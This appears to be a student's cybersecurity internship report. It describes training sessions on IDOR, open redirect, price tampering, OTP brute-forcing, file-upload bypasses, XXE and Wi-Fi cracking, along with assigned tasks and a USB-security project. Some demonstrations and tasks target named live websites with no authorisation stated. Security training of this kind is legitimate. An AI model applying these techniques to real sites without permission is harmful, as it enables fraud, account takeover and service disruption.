Insecure Direct Object Reference (IDOR) and URL Redirection Vulnerability. IDOR is a type of vulnerability that allows attackers to access or manipulate objects, such as user accounts, without proper authorization. It typically occurs when a user can manipulate the URL or parameters in a request to access data that they are not authorized to see. For instance, if a user accesses their profile through a URL that includes their ID (e.g., target.com/profile?id=1122), changing the ID in the URL might allow them to view another user's details without permission. To test for IDOR vulnerabilities, one would create an account on a target web application, navigate to the "My Account" section, and modify the ID in the URL to see if it exposes another user's information. Tools like Burp Suite can be used to intercept and modify requests, making the testing process more effective.

The second vulnerability discussed was URL Redirection, which occurs when attackers manipulate URLs to redirect users to malicious websites. This type of vulnerability can be exploited by appending a malicious domain to a legitimate URL, tricking users into believing they are navigating to a trusted site. A practical demonstration showed that if an appended URL like cbat.ac.in@youtube.com redirects to YouTube, it might indicate a redirection vulnerability. To test for this, one can append a malicious domain to a legitimate URL and check if the redirection happens. If the redirection occurs, the site may be vulnerable to URL Redirection attacks.

Understanding and testing for these vulnerabilities are crucial for maintaining web application security.

Day 27

Information disclosure vulnerabilities involve the unintended exposure of sensitive information, such as application details, version numbers, source code, and internal tools, which can be detrimental to an organization’s security. This vulnerability often arises when sensitive information is inadvertently exposed through error messages or HTTP headers. For example, error messages might reveal the version of Apache Struts being used, such as version 2.3.31, which can provide attackers with enough information to exploit known vulnerabilities associated with that version.

To test for information disclosure vulnerabilities, tools like Burp Suite and the Firefox browser are often used. In practice, one might navigate to a web application, modify a product ID in the URL to an invalid string (like "abcd"), and observe the resulting error message for any inadvertently exposed sensitive information. If such information is disclosed, it could be leveraged for attacks, including authentication bypass. For instance, attackers can analyze HTTP headers for custom headers that could bypass authentication and gain unauthorized access, such as accessing an admin panel by including the local IP address in a custom header after intercepting a request.

Business logic errors represent another significant category of vulnerabilities, occurring when the application’s logic enables unintended actions. Common types of business logic errors include parameter tampering, price tampering, broken access controls, and bypassing one-time passwords (OTPs). An example of such an error is card tampering, where an attacker manipulates the quantity of items in a shopping cart to reduce the total price. By intercepting and modifying requests in Burp Suite, attackers can set the quantity of items to a negative value, thereby reducing the total cost of the order. Similarly, price tampering involves changing the price of a product during checkout. An attacker could intercept the payment request and modify the product’s price to a lower value, such as one rupee, and complete the transaction at the tampered price.

Day 28

The session focused on various business logic errors in web applications, highlighting vulnerabilities such as OTP bypassing, lack of rate limiting, and host header injection. OTP bypassing exploits weaknesses in One-Time Password (OTP) mechanisms, which are commonly used for authentication. By understanding that a 4-digit OTP has 10,000 possible combinations, attackers can use tools like Burp Suite and Firefox to brute-force OTPs. During the demonstration, participants learned how to intercept login requests, duplicate them, and use Burp Suite's Intruder tool to automate the process of testing all possible OTP combinations until a valid one is found, effectively bypassing the OTP protection.

Another significant vulnerability discussed was the absence of rate limiting. Without rate limiting, a web application allows multiple requests without restrictions, making it susceptible to brute-force attacks and denial of service. Participants practiced testing for this vulnerability by repeatedly requesting OTPs from a website to see if it would block further requests. A live demonstration on the travel website Yolo Buzz showed how easily attackers could flood the server with multiple requests, emphasizing the need for ethical considerations and awareness of legal implications when testing such vulnerabilities.

Host header injection was also covered, where participants learned how to manipulate the host header in HTTP requests to redirect users to malicious sites if the application does not properly validate the header. The demonstration used the website bookonspot.com to show how changing the host header to another domain, like facebook.com, could redirect users if the site is vulnerable. This exercise underscored the importance of securing HTTP headers to prevent malicious redirection and potential phishing attacks.

2.5 Final days (Days 29-32)

Day 29

The session on insecure design flaws highlighted the critical importance of understanding and assessing various vulnerabilities in web applications, emphasizing the need to stay updated on the latest vulnerabilities and CVEs. The module specifically focused on identifying insecure design flaws, with practical discussions on different test cases. The first chapter introduced the concept of vulnerability assessment, outlining the importance of using diverse methodologies to uncover new vulnerabilities. In subsequent chapters, several test cases related to insecure password management were discussed.

For example, the session explored password reset vulnerabilities, such as websites lacking a password policy or accepting weak passwords, as well as issues like password reset links being sent over HTTP, not expiring, or remaining static. Further test cases included checking for flaws in current password management, such as automatic email confirmation without user action, password changes that do not require proper confirmation, and unverified password changes that do not invalidate old credentials. Another critical area covered was improper password reset policies, like the failure to enforce regular password changes or the exposure of sensitive information via email.

Day 30

The session on file upload vulnerabilities explored the risks associated with improper file upload handling in web applications, emphasizing the need for thorough testing to identify and mitigate these vulnerabilities. File upload vulnerabilities occur when a web application allows users to upload files without adequate validation, potentially enabling attackers to upload malicious files like PHP scripts or executables. The session began with an overview of the importance of identifying upload functionalities on target websites, using examples such as social media platforms that allow image uploads. Participants learned that a website is considered vulnerable if it accepts file types beyond its stated functionality, such as accepting PDFs when only images are supposed to be allowed.

Various test cases were discussed to demonstrate how file upload vulnerabilities could be exploited. These included basic file uploads of malicious payloads, using double extensions (e.g., renaming a PHP file to "payload.php.jpg") to bypass filters, and employing null byte injection to trick servers into accepting malicious files as benign formats. Additional methods involved random capitalization of file names, using less common PHP file extensions, and manipulating content types with tools like Burp Suite to disguise malicious files as acceptable formats.

The session also provided a practical testing setup using tools like Metasploitable and Kali Linux, focusing on the Damn Vulnerable Web Application (DVWA) platform. Participants were guided on how to execute various test cases, including adjusting DVWA security settings to evaluate different levels of vulnerability. The importance of modifying content types to bypass server-side filters was highlighted, showing how attackers can change the content type of a PHP file to image/jpeg to evade detection.

Day 31

The session began with a continuation of the discussion on file upload vulnerabilities from the previous session, then shifted to the topic of bypassing usernames and passwords. It revisited the concept of OTP (One-Time Password) bypassing, explaining the probabilities associated with different OTP lengths—10,000 combinations for a 4-digit OTP and 1,000,000 for a 6-digit OTP. The session emphasized the importance of using wordlists to facilitate bypassing efforts and provided instructions on creating a wordlist using the Crunch tool, a key resource for bypassing OTPs. Participants were guided through the process of generating and verifying wordlists in the terminal to ensure all possible combinations were included. The session then covered techniques for performing username and password bypassing using Burp Suite, a popular web application security testing tool. Participants learned how to capture login requests and use the intruder module to test various payloads, with a focus on analyzing HTTP response codes to determine valid credentials. Practice on different platforms was encouraged to build skill in bypassing techniques, with a strong emphasis on understanding server responses.

Additionally, the session introduced XML External Entity (XXE) injection, explaining how attackers can exploit XML parsing vulnerabilities to access sensitive information. A dedicated lab environment was provided for hands-on practice, where participants used crafted XML inputs to retrieve data from the server, reinforcing their theoretical understanding. The session concluded with an overview of clickjacking attacks, where invisible iframes can trick users into unintended actions. Participants were informed about the upcoming transition from the learning phase to task and assignment phases and reminded to complete their examinations before the deadline.

Day 32

The "Wi-Fi Hacking Overview" session provided a comprehensive introduction to Wi-Fi, explaining that Wi-Fi stands for Wireless Fidelity and is used for connecting to the Internet via wireless networks. The session outlined the requirements for Wi-Fi hacking, highlighting the importance of using appropriate Wi-Fi adapters to gain high range and speed. Two types of adapters were mentioned: the advanced Alpha Network Adapter with four antennas and the basic TP-Link Adapter, suitable for beginners. The session covered Wi-Fi protocols and encryption types, including 802.11 AC as the main protocol and various encryption types likeWAP, WPA, WPA2, and WPA3, with WPA3 being the most secure. When selecting a Wi-Fi adapter for hacking, key features to consider include support for dual bands (2.4 GHz and 5 GHz), capability for monitor mode and packet injection, and a recommended Realtek chipset.

Participants learned about setting up their Wi-Fi adapters for hacking, including connecting them to a Kali Linux machine, ensuring they are in monitor mode, and installing necessary drivers. The session also included a practical demonstration of Wi-Fi hacking, focusing on capturing handshakes with the aircrack-ng tool and using additional tools like Kismet and Reaver. Step-by-step instructions were provided for cracking Wi-Fi passwords, including specific commands for WEP and WPA2 encrypted networks. The session emphasized the importance of adhering to ethical guidelines while hacking and noted that the session was recorded for future reference, with an objective examination link to be provided at the end.

3. Tasks Assigned

During my internship at Supraja Technologies, I was assigned a series of challenging cybersecurity tasks designed to test my practical skills and knowledge. These assignments covered a wide range of vulnerabilities and security testing techniques, including:

1. Scanning, Enumeration and Sniffing Tasks
2. Identifying websites vulnerable to Directory/Path Traversal, HTML Injection, and File Upload vulnerabilities.
3. Discovering Insecure Design Flaws in various websites, such as weak password policies and privacy violations.
4. Performing SQL Injection attacks on specified targets to extract data from databases.
5. Identifying Business Logic Errors in e-commerce websites.
6. Conducting network scans using Nessus, including Host Discovery and Basic Network Scans.
7. Performing Web Application Tests using Nessus on specific targets.
8. Using Acunetix Vulnerability Scanner to assess the security of major e-commerce platforms.
9. Testing for No Rate Limiting vulnerabilities on login OTP pages of various websites.
10. Conducting Parameter Tampering attacks, focusing on price manipulation.
11. Exploiting Authentication Bypass vulnerabilities, including OTP bypassing.
12. Identifying vulnerabilities such as Host Header Injection, Open Redirect/URL Redirection, and iFrame Injection.
13. Finding Cross-Site Scripting (XSS) vulnerabilities, specifically Reflected XSS.
14. Identifying websites vulnerable to Insecure Direct Object References (IDOR) and Broken Access Control.

4. Project Work

4.1 USB Physical Security Project

During the internship, the USB physical security project focused on assessing and enhancing the security measures surrounding the use of USB devices in a corporate environment. The project aimed to identify potential risks associated with unauthorized USB access and data breaches, as well as to develop strategies to mitigate these risks. Interns were tasked with analyzing the vulnerabilities that USB devices pose, such as the potential for malware infections, unauthorized data transfers, and the physical theft of sensitive information.

The system features a login system that caters to two user types: administrators and standard users. The administrator has higher levels of access, including all the functions of a regular user, as well as the power to oversee and manage user behaviors. One important feature is the option for both administrators and users to turn off or turn on the USB ports on their devices. Furthermore, the system includes a feature that tracks the location of the user trying to access it. With the right login information, a user or an admin can manage the status of the USB ports. Yet, when a user attempts to activate the USB port, the system will initially retrieve the user's location and compare it with a pre-established database. If the user's location corresponds to a recognized secure entry in the database, the system grants access to the USB port; otherwise, the request is rejected.

The USB Physical Security Software is designed to enhance the security of computer systems by regulating USB access based on predefined policies and geofencing parameters. The software integrates various security measures such as Role-Based Access Control (RBAC), geofencing, auditing, and logging to monitor and manage USB device usage across multiple users. Developed entirely using Python and Batch scripts, this software provides a user-friendly graphical interface built with Tkinter, while SQLAlchemy is employed for robust database management. This section outlines the detailed implementation of the software, describing its modular components and overall system architecture.

5. Skills Acquired and Developed

5.1 Technical Skills

During the internship, several technical skills were acquired and developed, enhancing the participants' proficiency in cybersecurity and ethical hacking. Interns gained hands-on experience with various cybersecurity tools and techniques, including Wi-Fi hacking using tools like aircrack-ng, web application vulnerability assessment with Burp Suite, and SQL injection methods. They also learned how to create wordlists with Crunch, manage USB security, and conduct XML External Entity (XXE) injections. Additionally, the internship provided exposure to Linux operating systems, particularly Kali Linux, where interns practiced executing commands, managing network interfaces, and understanding file systems. Through these tasks, participants developed a solid foundation in both offensive and defensive cybersecurity practices, improving their ability to identify, exploit, and mitigate security vulnerabilities.

5.2 Soft Skills

In addition to technical skills, the internship also focused on developing essential soft skills that are crucial in a professional environment. Interns enhanced their problem-solving abilities by tackling real-world security challenges and devising effective solutions. Collaboration and teamwork were emphasized, as many assignments required working closely with peers to achieve common goals. Communication skills were refined through the project presentation and report writing, where interns had to clearly convey complex technical concepts to both technical and non-technical audiences. Time management was also a key focus, with interns learning to prioritize tasks and meet deadlines in a dynamic work environment. Overall, the internship helped participants build a well-rounded skill set, combining technical expertise with critical soft skills needed for a successful career in cybersecurity.

6. Conclusion

The internship provided a comprehensive learning experience that significantly enhanced both technical and soft skills, preparing participants for a successful career in cybersecurity. Through hands-on projects and assignments, interns gained valuable experience in various aspects of ethical hacking, such as Wi-Fi hacking, web application vulnerabilities, and USB security. These practical tasks not only deepened their understanding of cybersecurity principles and tools but also highlighted the importance of adhering to ethical guidelines in all activities.

The internship fostered the development of essential soft skills, including problem-solving, teamwork, communication, and time management. Interns learned to collaborate effectively with peers, present technical findings clearly, and manage their time efficiently to meet project deadlines. This combination of technical knowledge and soft skills has equipped the interns with a robust foundation for future endeavors in cybersecurity.

Overall, the internship was a highly valuable experience that provided a thorough introduction to the field of cybersecurity and ethical hacking. The skills and knowledge gained will be instrumental in pursuing further education and professional opportunities in this rapidly evolving field.

7. Acknowledgments

I would like to express my deepest gratitude to everyone who made this internship a valuable learning experience. Firstly, I am immensely thankful to my supervisors and mentors for their guidance, support, and encouragement throughout the internship. Their expertise and willingness to share their knowledge were instrumental in helping me develop both my technical and soft skills.

A special thanks to the organization for providing me with this opportunity to learn and explore the field of cybersecurity. The resources and facilities made available to me greatly contributed to the successful completion of my projects and the development of my skills.

8. Appendices

8.1 Glossary of Cybersecurity Terms

This section provides a glossary of key cybersecurity terms encountered during the internship. It includes definitions and explanations of important concepts and terminologies, such as Wi-Fi protocols (e.g., 802.11 AC), encryption types (e.g., WEP, WPA, WPA2, WPA3), and various attack techniques (e.g., SQL injection, XXE injection, clickjacking). The glossary serves as a quick reference guide for understanding the technical language used throughout the report, ensuring clarity and enhancing comprehension for readers unfamiliar with specific cybersecurity jargon.

8.2 Tools and Software Used

This section lists all the tools and software utilized during the internship to perform various cybersecurity tasks and projects. It includes detailed descriptions of each tool, such as aircrack-ng for Wi-Fi hacking, Burp Suite for web application security testing, Crunch for creating wordlists, and Kali Linux as the primary operating system for penetration testing. Additionally, tools like Kismet, Reaver, and others used for specific tasks are described. This section provides insights into the practical tools of the trade, demonstrating the hands-on experience gained and the technical environment in which the skills were developed.